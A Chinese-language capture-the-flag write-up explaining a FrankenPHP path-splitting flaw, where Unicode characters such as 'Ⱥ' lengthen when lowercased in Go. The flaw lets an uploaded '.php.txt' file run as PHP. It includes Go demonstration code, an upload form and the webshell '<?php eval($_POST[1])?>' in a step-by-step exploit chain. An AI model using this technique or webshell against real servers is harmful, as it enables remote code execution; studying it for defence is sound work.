起因是某次比赛中遇到遇到奇怪的文件上传的题目,一直看不懂,但是赛后无意间刷到一篇文件分析提到记录Unicode字节可以FrankenPHP FastCGI路径拆分不严谨匹配来执行代码。所有记录下思路。
题目分析
题目源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $action = $_GET['action'] ?? ''; if ($action === 'create') { $filename = basename($_GET['filename'] ?? 'phpinfo.php'); file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>'); echo "File created."; } elseif ($action === 'upload') { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); $extension = pathinfo($uploadFile, PATHINFO_EXTENSION); if ($extension === 'txt') { if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { echo "File uploaded successfully."; } } } } else { highlight_file(__FILE__); }
|
分析代码有两个功能:
create 功能:创造一个内容为 <?php phpinfo(); ?>的文件,文件名为我们GET方式传入的filename
upload功能:上传一个文件,文件后缀必须以txt结尾。
create 功能,中我们可以控制的就是文件名,内容被写死为phpinfo()。
可见问题的在。upload功能上 ,想办法绕过限制上传php,但是仔细分析下该部分代码:
1 2 3 4 5
| if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); $extension = pathinfo($uploadFile, PATHINFO_EXTENSION); if ($extension === 'txt')
|
basename()去掉目录部分,获得基础文件名。pathinfo加上 PATHINFO_EXTENSION参数获得最后的后缀名称。导致上传文件必须是以txt为后缀。
尝试各种绕过,均无果…….
FrankenPHP FastCGI路径拆分匹配
原以为无果,后面在找到一篇文章’https://articles.zsxq.com/id_b2jgfocuqow5.html',提到我们忽略了一个出题者的小巧思,`create` 功能让我们能创造php文件来自行phpinfo();,我们读取phpinfo内容可以发现,server api 由FrankenPHP进行实现的,

分析FrankenPHP的路径相关的处理代码(https://github.com/php/frankenphp/blob/main/cgi.go)我们可以发现实现路径的相关函数 splitCgiPath:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| func splitCgiPath(fc *frankenPHPContext) { path := fc.request.URL.Path splitPath := fc.splitPath
if splitPath == nil { splitPath = []string{".php"} }
if splitPos := splitPos(path, splitPath); splitPos > -1 { fc.docURI = path[:splitPos] fc.pathInfo = path[splitPos:]
fc.scriptName = strings.TrimSuffix(path, fc.pathInfo)
if fc.scriptName != "" && !strings.HasPrefix(fc.scriptName, "/") { fc.scriptName = "/" + fc.scriptName } }
fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName) fc.worker = getWorkerByPath(fc.scriptFilename) }
|
可以看到我们请求的过程中,请求路径path 先被先被splitPos分割成scriptName ( 脚本名称)、docURI(文档 URI)、pathInfo(路径信息部分)、scriptFilename(脚本文件名称)。继续跟进到splitPos函数:
1 2 3 4 5 6 7 8 9 10 11 12 13
| func splitPos(path string, splitPath []string) int { if len(splitPath) == 0 { return 0 }
lowerPath := strings.ToLower(path) for _, split := range splitPath { if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 { return idx + len(split) } } return -1 }
|
到一个地方,strings.ToLower 把大写字母转为小写字母,再拼接计算字符串长度。
但是 Unicode编码的字符,在大小转换后字符的长度会发生变化(小写比大写长),对应一些编程语言来说这是一个差异。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package main
import "fmt"
func main() { str1 := "ⱥ" str2 := "Ⱥ"
fmt.Printf("\"%s\" length: %d\n", str1, len(str1)) fmt.Printf("\"%s\" length: %d\n", str2, len(str2)) }
=============输出结果============= "ⱥ" length: 3 "Ⱥ" length: 2
|
可以看到,在我们运行go语言后”Ⱥ”要比小写字母的”ⱥ”长度要小。
因此我们若上传一个’Ⱥ.php’长度为7变成小写’ⱥ.php’长度就是8了。
但是在对path进行分割时候,文件名称并没有被转换为小写,因此在splitPos切割时会存在差异。导致后续 path分割出来的,scriptName、docURI、pathInfo存在差异。
我们写一个脚本来验证下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package main
import "fmt" import "strings" func splitPos(path string, splitPath []string) int { if len(splitPath) == 0 { return 0 } lowerPath := strings.ToLower(path) fmt.Printf("lowerPath:\"%s\"\n", lowerPath) for _, split := range splitPath { if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 { fmt.Printf("len:\"%d\"\n", idx + len(split)) return idx + len(split) } } return -1 } func main() { path:="AAAA1.php" docURI :="" pathInfo:="" scriptName:=""
splitPath := []string{".php"}
fmt.Printf("path:\"%s\"\n", path) if splitPos := splitPos(path, splitPath); splitPos > -1 { docURI = path[:splitPos] fmt.Printf("docURI:\"%s\"\n", docURI) pathInfo = path[splitPos:] fmt.Printf("pathInfo:\"%s\"\n", pathInfo) scriptName = strings.TrimSuffix(path, pathInfo) fmt.Printf("scriptName:\"%s\"", scriptName) }
}
|
分别执行AAAA1.php、 AAAA1.php.txt 、 ȺȺȺȺ1.php.txt、ȺȺȺȺ1.php.txt.php文件个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| path:"AAAA1.php" lowerPath:"aaaa1.php" len:"9" docURI:"AAAA1.php" pathInfo:"" scriptName:"AAAA1.php"
path:"AAAA1.php.txt" lowerPath:"aaaa1.php.txt" len:"9" docURI:"AAAA1.php" pathInfo:".txt" scriptName:"AAAA1.php"
path:"ȺȺȺȺ1.php.txt" lowerPath:"ⱥⱥⱥⱥ1.php.txt" len:"17" docURI:"ȺȺȺȺ1.php.txt" pathInfo:"" scriptName:"ȺȺȺȺ1.php.txt"
path:"ȺȺȺȺ1.php.txt.php" lowerPath:"ⱥⱥⱥⱥ1.php.txt.php" len:"17" docURI:"ȺȺȺȺ1.php.txt" pathInfo:".php" scriptName:"ȺȺȺȺ1.php.txt"
|
可以看到 ȺȺȺȺ1.php.txt原本我们想要的是docURI:”ȺȺȺȺ1.php“但是被解析为docURI:”ȺȺȺȺ1.php.txt” ,scriptName也同样出现偏差。这样与
“ȺȺȺȺ1.php.txt.php”解析的结果相同。
1 2 3 4
| root@e031e9ae25e7:/app/public# cat ''$'\310\272\310\272\310\272\310\272''1.php.txt' <?php eval($_POST[1])?> root@e031e9ae25e7:/app/public# cat ''$'\310\272\310\272\310\272\310\272''1.php.txt.php' <?php phpinfo(); ?>root@e031e9ae25e7:/app/public#
|
从而,当目录下同时有ȺȺȺȺ1.php.txt 和ȺȺȺȺ1.php.txt.php,
我访问ȺȺȺȺ1.php.txt.php,却被解析为ȺȺȺȺ1.php.txt的内容

回到题目
因此我们可以写一个update html代码,上传一个包含4个小写比大写字节数跟长Unicode字节的字符加后缀为’’.php.txt”的文件(ȺȺȺȺ1.php.txt)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <title>上传示例</title> </head> <body> <form action="https://localhost/index.php?action=upload" method="post" enctype="multipart/form-data">
<label for="file">选择一个文本文件:</label> <input type="file" id="file" name="file" required>
<button type="submit">上传</button> </form> </body> </html>
|
再用创造一个比我们上传的文件名多一个”.php”的后缀的文件(ȺȺȺȺ1.php.txt.php)。
再访问ȺȺȺȺ1.php.txt.php,我们就得到我们的shell。

参考文献
https://articles.zsxq.com/id_b2jgfocuqow5.html